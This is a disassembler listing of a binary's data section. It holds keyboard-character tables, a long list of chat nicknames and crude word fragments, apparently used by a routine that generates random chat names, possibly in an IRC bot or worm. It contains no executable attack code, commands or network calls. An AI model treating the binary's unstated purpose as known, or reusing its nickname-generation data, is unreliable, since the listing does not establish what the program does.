off_44EF44 dd offset dword_44F3DC ; DATA XREF: sub_418650+5Cr
dd offset dword_44F3E0
dd offset dword_44F3E4
dd offset dword_44F3E8
dd offset dword_44F3EC
dd offset dword_44F3F0
dd offset dword_44F3F4
dd offset dword_44F3F8
dd offset dword_44F3FC
dd offset dword_44F400
dd offset dword_44F404
dd offset dword_44F408
dd offset dword_44F40C
dd offset dword_44F410
dd offset dword_44F414
dd offset dword_44F418
dd offset dword_44F41C
dd offset dword_44F420
dd offset dword_44F424
dd offset dword_44F428
dd offset dword_44F42C
dd offset dword_44F430
dd offset dword_44F434
dd offset dword_44F438
dd offset dword_44F43C
dd offset dword_44F440
dd offset dword_44F444
dd offset dword_44F448
dd offset dword_44F44C
dd offset dword_44F450
dd offset dword_44F454
dd offset dword_44F458
dd offset dword_44F45C
dd offset dword_44F460
dd offset dword_44F464
dd offset dword_44F468
dd offset dword_44F46C
dd offset dword_44F470
dd offset dword_44F474
dd offset dword_44F478
dd offset dword_44F47C
dd offset dword_44F480
dd offset dword_44F484
dd offset dword_44F488
dd offset dword_44F48C
dd offset dword_44F490
dd offset dword_44F494
dd offset dword_44F498
dd offset dword_44F49C
dd offset dword_44F4A0
dd offset dword_44F4A4
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_44F70C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_44F8A0
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
; char *off_44F244
off_44F244 dd offset aSex_1 ; DATA XREF: sub_418650+41r
; sub_418650+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset aB ; "b"
dd offset aC_4 ; "c"
dd offset aD_2 ; "d"
dd offset aE_0 ; "e"
dd offset aF ; "f"
dd offset aG ; "g"
dd offset asc_44FA58 ; "h"
dd offset aI_1 ; "i"
dd offset a__11 ; "_"
dd offset aJ_1 ; "j"
dd offset aK_0 ; "k"
dd offset asc_44FA6C ; "l"
dd offset aM_2 ; "m"
dd offset aN_0 ; "n"
dd offset aO_0 ; "o"
dd offset aP_0 ; "p"
dd offset aQ_0 ; "q"
dd offset aRs ; "rs"
dd offset aT_0 ; "t"
dd offset aU_0 ; "u"
dd offset aV_0 ; "v"
dd offset aW ; "w"
dd offset asc_44FA98 ; "x"
dd offset aY ; "y"
dd offset aZ ; "z"
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ_0 ; "z"
dd offset aG_0 ; "g"
dd offset aS_39 ; "s"
dd offset aQ_1 ; "q"
dd offset aBrb ; "BRB"
dd offset aBbl ; "|bbl"
dd offset dword_4F2964
dd offset dword_4F2968
dd offset a___0 ; "_|_"
dd offset dword_4F296C
dd offset dword_4F2970
dd offset dword_4F2974
dd offset dword_4F2978
dd offset aF_0 ; "F"
dd offset aM_3 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_1 ; "^^^f^"
dd offset aB_0 ; "b"
dd offset dword_4F297C
dd offset aSleeping ; "Sleeping"
dd offset dword_4F2980
dd offset dword_4F2984
dd offset aFuck_0 ; "Fuck"
dd offset aFree_0 ; "Free"
dd offset dword_4F2988
dd offset dword_4F298C
dd offset asc_44FB40 ; "X"
dd offset dword_4F2990
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset a5u ; "5u"
dd offset a6u ; "6u"
dword_44F3DC dd 71h ; DATA XREF: .data:off_44EF44o
dword_44F3E0 dd 77h ; DATA XREF: .data:0044EF48o
dword_44F3E4 dd 65h ; DATA XREF: .data:0044EF4Co
dword_44F3E8 dd 72h ; DATA XREF: .data:0044EF50o
dword_44F3EC dd 74h ; DATA XREF: .data:0044EF54o
dword_44F3F0 dd 79h ; DATA XREF: .data:0044EF58o
dword_44F3F4 dd 75h ; DATA XREF: .data:0044EF5Co
dword_44F3F8 dd 69h ; DATA XREF: .data:0044EF60o
dword_44F3FC dd 70h ; DATA XREF: .data:0044EF64o
dword_44F400 dd 61h ; DATA XREF: .data:0044EF68o
dword_44F404 dd 73h ; DATA XREF: .data:0044EF6Co
dword_44F408 dd 64h ; DATA XREF: .data:0044EF70o
dword_44F40C dd 66h ; DATA XREF: .data:0044EF74o
dword_44F410 dd 67h ; DATA XREF: .data:0044EF78o
dword_44F414 dd 68h ; DATA XREF: .data:0044EF7Co
dword_44F418 dd 6Ah ; DATA XREF: .data:0044EF80o
dword_44F41C dd 6Bh ; DATA XREF: .data:0044EF84o
dword_44F420 dd 6Ch ; DATA XREF: .data:0044EF88o
dword_44F424 dd 7Ah ; DATA XREF: .data:0044EF8Co
dword_44F428 dd 78h ; DATA XREF: .data:0044EF90o
dword_44F42C dd 63h ; DATA XREF: .data:0044EF94o
dword_44F430 dd 76h ; DATA XREF: .data:0044EF98o
dword_44F434 dd 62h ; DATA XREF: .data:0044EF9Co
dword_44F438 dd 6Eh ; DATA XREF: .data:0044EFA0o
dword_44F43C dd 6Dh ; DATA XREF: .data:0044EFA4o
dword_44F440 dd 51h ; DATA XREF: .data:0044EFA8o
dword_44F444 dd 57h ; DATA XREF: .data:0044EFACo
dword_44F448 dd 45h ; DATA XREF: .data:0044EFB0o
dword_44F44C dd 52h ; DATA XREF: .data:0044EFB4o
dword_44F450 dd 54h ; DATA XREF: .data:0044EFB8o
dword_44F454 dd 59h ; DATA XREF: .data:0044EFBCo
dword_44F458 dd 55h ; DATA XREF: .data:0044EFC0o
dword_44F45C dd 49h ; DATA XREF: .data:0044EFC4o
dword_44F460 dd 4Fh ; DATA XREF: .data:0044EFC8o
dword_44F464 dd 50h ; DATA XREF: .data:0044EFCCo
dword_44F468 dd 41h ; DATA XREF: .data:0044EFD0o
dword_44F46C dd 53h ; DATA XREF: .data:0044EFD4o
dword_44F470 dd 44h ; DATA XREF: .data:0044EFD8o
dword_44F474 dd 46h ; DATA XREF: .data:0044EFDCo
dword_44F478 dd 47h ; DATA XREF: .data:0044EFE0o
dword_44F47C dd 48h ; DATA XREF: .data:0044EFE4o
dword_44F480 dd 4Ah ; DATA XREF: .data:0044EFE8o
dword_44F484 dd 4Bh ; DATA XREF: .data:0044EFECo
dword_44F488 dd 4Ch ; DATA XREF: .data:0044EFF0o
dword_44F48C dd 5Ah ; DATA XREF: .data:0044EFF4o
dword_44F490 dd 58h ; DATA XREF: .data:0044EFF8o
dword_44F494 dd 43h ; DATA XREF: .data:0044EFFCo
dword_44F498 dd 56h ; DATA XREF: .data:0044F000o
dword_44F49C dd 42h ; DATA XREF: .data:0044F004o
dword_44F4A0 dd 4Eh ; DATA XREF: .data:0044F008o
dword_44F4A4 dd 4Dh ; DATA XREF: .data:0044F00Co
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:0044F010o
align 4
aFarooq db 'farooq',0 ; DATA XREF: .data:0044F014o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:0044F018o
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:0044F01Co
align 10h
aEmilya db 'emilya',0 ; DATA XREF: .data:0044F020o
align 4
aKrizha db 'KRIZHA',0 ; DATA XREF: .data:0044F024o
align 10h
aCar1nna db 'Car1nna',0 ; DATA XREF: .data:0044F028o
aSwin db 'swin',0 ; DATA XREF: .data:0044F02Co
align 10h
aMale db 'male',0 ; DATA XREF: .data:0044F030o
align 4
aKoko db 'koko',0 ; DATA XREF: .data:0044F034o
align 10h
aFlexster db 'flexster',0 ; DATA XREF: .data:0044F038o
align 4
aKen db 'ken',0 ; DATA XREF: .data:0044F03Co
aShez db 'Shez',0 ; DATA XREF: .data:0044F040o
align 4
aTalika db 'talika',0 ; DATA XREF: .data:0044F044o
align 10h
aMarcy db 'marcy',0 ; DATA XREF: .data:0044F048o
align 4
aCme db 'cme',0 ; DATA XREF: .data:0044F04Co
aHeval db 'heval',0 ; DATA XREF: .data:0044F050o
align 4
aBunty db 'bunty',0 ; DATA XREF: .data:0044F054o
align 4
aJanno db 'janno',0 ; DATA XREF: .data:0044F058o
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .data:0044F05Co
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .data:0044F060o
align 4
aLuisa db 'Luisa',0 ; DATA XREF: .data:0044F064o
align 10h
aTroller db 'troller',0 ; DATA XREF: .data:0044F068o
aManee db 'manee',0 ; DATA XREF: .data:0044F06Co
align 10h
aKermit db 'kermit',0 ; DATA XREF: .data:0044F070o
align 4
aPuregold db 'puregold',0 ; DATA XREF: .data:0044F074o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .data:0044F078o
align 10h
aImra db 'imra',0 ; DATA XREF: .data:0044F07Co
align 4
aGirl db 'GirL',0 ; DATA XREF: .data:0044F080o
align 10h
aCamel db 'CAMEL',0 ; DATA XREF: .data:0044F084o
align 4
aReshma db 'reshma',0 ; DATA XREF: .data:0044F088o
align 10h
aKencing db 'Kencing',0 ; DATA XREF: .data:0044F08Co
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:0044F090o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:0044F094o
align 10h
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:0044F098o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .data:0044F09Co
aHexaaa db 'hexaaa',0 ; DATA XREF: .data:0044F0A0o
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .data:0044F0A4o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:0044F0A8o
align 4
aIrmal db 'irmal',0 ; DATA XREF: .data:0044F0ACo
align 4
aMisssunday db 'misssunday',0 ; DATA XREF: .data:0044F0B0o
align 4
aTolga34 db 'Tolga34',0 ; DATA XREF: .data:0044F0B4o
aJericho db 'JERICHO',0 ; DATA XREF: .data:0044F0B8o
aMary_0 db 'MARY',0 ; DATA XREF: .data:0044F0BCo
align 10h
aAkin db 'AKIN',0 ; DATA XREF: .data:0044F0C0o
align 4
aMelekk db 'melekk',0 ; DATA XREF: .data:0044F0C4o
align 10h
aTrend3 db 'trend3',0 ; DATA XREF: .data:0044F0C8o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:0044F0CCo
align 4
aTekir db 'tekir',0 ; DATA XREF: .data:0044F0D0o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .data:0044F0D4o
align 4
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:0044F0D8o
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .data:0044F0DCo
aArzu db 'ARZU',0 ; DATA XREF: .data:0044F0E0o
align 4
aHaticem db 'haticem',0 ; DATA XREF: .data:0044F0E4o
aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0044F0E8o
aAslii db 'aslii',0 ; DATA XREF: .data:0044F0ECo
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:0044F0F0o
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:0044F0F4o
align 10h
aRetg db 'RETG',0 ; DATA XREF: .data:0044F0F8o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:0044F0FCo
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .data:0044F100o
align 10h
aAhmet db 'ahmet',0 ; DATA XREF: .data:0044F104o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .data:0044F108o
align 10h
aAnk32m db 'ank32m',0 ; DATA XREF: .data:0044F10Co
align 4
aZack db 'ZACK',0 ; DATA XREF: .data:0044F110o
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:0044F114o
align 4
aAlbina db 'albina',0 ; DATA XREF: .data:0044F118o
align 4
aAyla db 'AYLA-',0 ; DATA XREF: .data:0044F11Co
align 4
off_44F70C dd offset byte_457441 ; DATA XREF: .data:0044F120o
aAnkh db 'ankh',0 ; DATA XREF: .data:0044F124o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:0044F128o
align 4
aBogac db 'bogac',0 ; DATA XREF: .data:0044F12Co
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:0044F130o
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:0044F134o
align 4
aDenizlim db 'DenizliM',0 ; DATA XREF: .data:0044F138o
align 10h
aBerk19m db 'Berk19m',0 ; DATA XREF: .data:0044F13Co
aDevran db 'devran',0 ; DATA XREF: .data:0044F140o
align 10h
aArda db 'arda',0 ; DATA XREF: .data:0044F144o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:0044F148o
aMurat34M db 'murat34-m',0 ; DATA XREF: .data:0044F14Co
align 10h
aHakan3 db 'hakan3',0 ; DATA XREF: .data:0044F150o
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:0044F154o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: .data:0044F158o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .data:0044F15Co
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:0044F160o
align 10h
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:0044F164o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .data:0044F168o
aFlord db 'FLoRD',0 ; DATA XREF: .data:0044F16Co
align 4
aHoly db 'holy',0 ; DATA XREF: .data:0044F170o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: .data:0044F174o
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0044F178o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .data:0044F17Co
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .data:0044F180o
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:0044F184o
align 4
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:0044F188o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:0044F18Co
aKumul db 'kumul',0 ; DATA XREF: .data:0044F190o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .data:0044F194o
align 10h
aUmut db 'umut-',0 ; DATA XREF: .data:0044F198o
align 4
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:0044F19Co
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: .data:0044F1A0o
aAnkar db 'Ankar',0 ; DATA XREF: .data:0044F1A4o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:0044F1A8o
align 10h
aHayran db 'hayran',0 ; DATA XREF: .data:0044F1ACo
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:0044F1B0o
align 4
aKapk db 'kapk',0 ; DATA XREF: .data:0044F1B4o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .data:0044F1B8o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .data:0044F1BCo
align 10h
aKotan db 'kotan',0 ; DATA XREF: .data:0044F1C0o
align 4
aSevda db 'sevda',0 ; DATA XREF: .data:0044F1C4o
align 10h
off_44F8A0 dd offset byte_4B5245 ; DATA XREF: .data:0044F1C8o
aAlcatras db 'alcatras',0 ; DATA XREF: .data:0044F1CCo
align 10h
aA44m db 'a44m',0 ; DATA XREF: .data:0044F1D0o
align 4
aBirsen db 'birsen',0 ; DATA XREF: .data:0044F1D4o
align 10h
aYabanc db 'yabanc',0 ; DATA XREF: .data:0044F1D8o
align 4
aDevre db 'devre',0 ; DATA XREF: .data:0044F1DCo
align 10h
aErkan db 'erkan',0 ; DATA XREF: .data:0044F1E0o
align 4
aAnkm db 'ankM',0 ; DATA XREF: .data:0044F1E4o
align 10h
aAdem28 db 'Adem28',0 ; DATA XREF: .data:0044F1E8o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:0044F1ECo
align 4
aM41ist db 'M41IST',0 ; DATA XREF: .data:0044F1F0o
align 4
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:0044F1F4o
aFirtina db 'firtina',0 ; DATA XREF: .data:0044F1F8o
aAta29 db 'Ata29',0 ; DATA XREF: .data:0044F1FCo
align 4
aKoray db 'KORAY',0 ; DATA XREF: .data:0044F200o
align 4
aAkden db 'akden',0 ; DATA XREF: .data:0044F204o
align 4
aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:0044F208o
aUla db 'ula',0 ; DATA XREF: .data:0044F20Co
aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:0044F210o
align 4
aPassenger db 'passenger',0 ; DATA XREF: .data:0044F214o
align 4
aTropikal db 'tropikal',0 ; DATA XREF: .data:0044F218o
align 4
aCool30m db 'cool30m',0 ; DATA XREF: .data:0044F21Co
aCem39 db 'cem39',0 ; DATA XREF: .data:0044F220o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:0044F224o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:0044F228o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:0044F22Co
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .data:0044F230o
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:0044F234o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .data:0044F238o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:0044F23Co
align 10h
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:0044F240o
align 4
aSex_1 db 'sex',0 ; DATA XREF: .data:off_44F244o
aLez db 'lez',0 ; DATA XREF: .data:0044F248o
aZex db 'zex',0 ; DATA XREF: .data:0044F24Co
aTree db 'tree',0 ; DATA XREF: .data:0044F250o
align 10h
aBad db 'bad',0 ; DATA XREF: .data:0044F254o
aLag db 'lag',0 ; DATA XREF: .data:0044F258o
aTambe db '|tambe|',0 ; DATA XREF: .data:0044F25Co
aWoh db '|woh|',0 ; DATA XREF: .data:0044F260o
align 4
aTot db '-|tot|',0 ; DATA XREF: .data:0044F264o
align 10h
aSuck db '|suck|',0 ; DATA XREF: .data:0044F268o
align 4
aLuck db '|luck|',0 ; DATA XREF: .data:0044F26Co
align 10h
aHub db '{hub}',0 ; DATA XREF: .data:0044F270o
align 4
aSex_0 db '{sex}',0 ; DATA XREF: .data:0044F274o
align 10h
aGens db '{gens|',0 ; DATA XREF: .data:0044F278o
align 4
aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:0044F27Co
align 4
aWiked db '|wiked|',0 ; DATA XREF: .data:0044F280o
aSick db 'sick}}',0 ; DATA XREF: .data:0044F284o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .data:0044F288o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: .data:0044F28Co
align 10h
aB: ; DATA XREF: .data:0044F290o
unicode 0, <b>,0
aC_4: ; DATA XREF: .data:0044F294o
unicode 0, <c>,0
aD_2: ; DATA XREF: .data:0044F298o
unicode 0, <d>,0
aE_0: ; DATA XREF: .data:0044F29Co
unicode 0, <e>,0
aF: ; DATA XREF: .data:0044F2A0o
unicode 0, <f>,0
aG: ; DATA XREF: .data:0044F2A4o
unicode 0, <g>,0
asc_44FA58: ; DATA XREF: .data:0044F2A8o
unicode 0, <h>,0
aI_1: ; DATA XREF: .data:0044F2ACo
unicode 0, <i>,0
a__11: ; DATA XREF: .data:0044F2B0o
unicode 0, <_>,0
aJ_1: ; DATA XREF: .data:0044F2B4o
unicode 0, <j>,0
aK_0: ; DATA XREF: .data:0044F2B8o
unicode 0, <k>,0
asc_44FA6C: ; DATA XREF: .data:0044F2BCo
unicode 0, <l>,0
aM_2: ; DATA XREF: .data:0044F2C0o
unicode 0, <m>,0
aN_0: ; DATA XREF: .data:0044F2C4o
unicode 0, <n>,0
aO_0: ; DATA XREF: .data:0044F2C8o
unicode 0, <o>,0
aP_0: ; DATA XREF: .data:0044F2CCo
unicode 0, <p>,0
aQ_0: ; DATA XREF: .data:0044F2D0o
unicode 0, <q>,0
aRs db 'rs',0 ; DATA XREF: .data:0044F2D4o
align 4
aT_0: ; DATA XREF: .data:0044F2D8o
unicode 0, <t>,0
aU_0: ; DATA XREF: .data:0044F2DCo
unicode 0, <u>,0
aV_0: ; DATA XREF: .data:0044F2E0o
unicode 0, <v>,0
aW: ; DATA XREF: .data:0044F2E4o
unicode 0, <w>,0
asc_44FA98: ; DATA XREF: .data:0044F2E8o
unicode 0, <x>,0
aY: ; DATA XREF: .data:0044F2ECo
unicode 0, <y>,0
aZ: ; DATA XREF: .data:0044F2F0o
unicode 0, <z>,0
aHappy db 'happy',0 ; DATA XREF: .data:0044F2F4o
align 4
aRg db 'rg',0 ; DATA XREF: .data:0044F2F8o
align 10h
aTy db 'ty',0 ; DATA XREF: .data:0044F2FCo
align 4
aGf db 'gf',0 ; DATA XREF: .data:0044F300o
align 4
aRt db 'rt',0 ; DATA XREF: .data:0044F304o
align 4
aSdf db 'sdf',0 ; DATA XREF: .data:0044F308o
aUi db 'ui',0 ; DATA XREF: .data:0044F30Co
align 4
aLuvy db 'luvy',0 ; DATA XREF: .data:0044F310o
align 4
aTrimy db 'trimy',0 ; DATA XREF: .data:0044F314o
align 4
aTruck db 'truck',0 ; DATA XREF: .data:0044F318o
align 4
aMuckc db 'muckc',0 ; DATA XREF: .data:0044F31Co
align 4
aZ_0: ; DATA XREF: .data:0044F320o
unicode 0, <z>,0
aG_0: ; DATA XREF: .data:0044F324o
unicode 0, <g>,0
aS_39: ; DATA XREF: .data:0044F328o
unicode 0, <s>,0
aQ_1: ; DATA XREF: .data:0044F32Co
unicode 0, <q>,0
aBrb db 'BRB',0 ; DATA XREF: .data:0044F330o
aBbl db '|bbl',0 ; DATA XREF: .data:0044F334o
align 10h
a___0 db '_|_',0 ; DATA XREF: .data:0044F340o
aF_0: ; DATA XREF: .data:0044F354o
unicode 0, <F>,0
aM_3: ; DATA XREF: .data:0044F358o
unicode 0, <M>,0
aLuvu db 'LUVU',0 ; DATA XREF: .data:0044F35Co
align 4
aSad db 'Sad',0 ; DATA XREF: .data:0044F360o
aF_1 db '^^^f^',0 ; DATA XREF: .data:0044F364o
align 10h
aB_0: ; DATA XREF: .data:0044F368o
unicode 0, <b>,0
aSleeping db 'Sleeping',0 ; DATA XREF: .data:0044F370o
align 10h
aFuck_0 db 'Fuck',0 ; DATA XREF: .data:0044F37Co
align 4
aFree_0 db 'Free',0 ; DATA XREF: .data:0044F380o
align 10h
asc_44FB40: ; DATA XREF: .data:0044F38Co
unicode 0, <X>,0
aBoy db 'BOY',0 ; DATA XREF: .data:0044F394o
aGirl_0 db 'GIRL',0 ; DATA XREF: .data:0044F398o
align 10h
aGurl db 'gurl',0 ; DATA XREF: .data:0044F39Co
align 4
aShit db 'shit',0 ; DATA XREF: .data:0044F3A0o
align 10h
aAha db 'aha',0 ; DATA XREF: .data:0044F3A4o
aYeah db 'yeah',0 ; DATA XREF: .data:0044F3A8o
align 4
aMuha db 'muha',0 ; DATA XREF: .data:0044F3ACo
align 4
aMof0 db 'mof0',0 ; DATA XREF: .data:0044F3B0o
align 4
aMofo db 'mofo',0 ; DATA XREF: .data:0044F3B4o
align 4
aTot_0 db 'tot',0 ; DATA XREF: .data:0044F3B8o
aLol db 'lol',0 ; DATA XREF: .data:0044F3BCo
aLoloA db 'lolo|a|',0 ; DATA XREF: .data:0044F3C0o
aSex4free db '|sex4free|',0 ; DATA XREF: .data:0044F3C4o
align 10h
a4us db '|4us|',0 ; DATA XREF: .data:0044F3C8o
align 4
a4you db '{4you}',0 ; DATA XREF: .data:0044F3CCo
align 10h
a4u db '|4u|',0 ; DATA XREF: .data:0044F3D0o
align 4
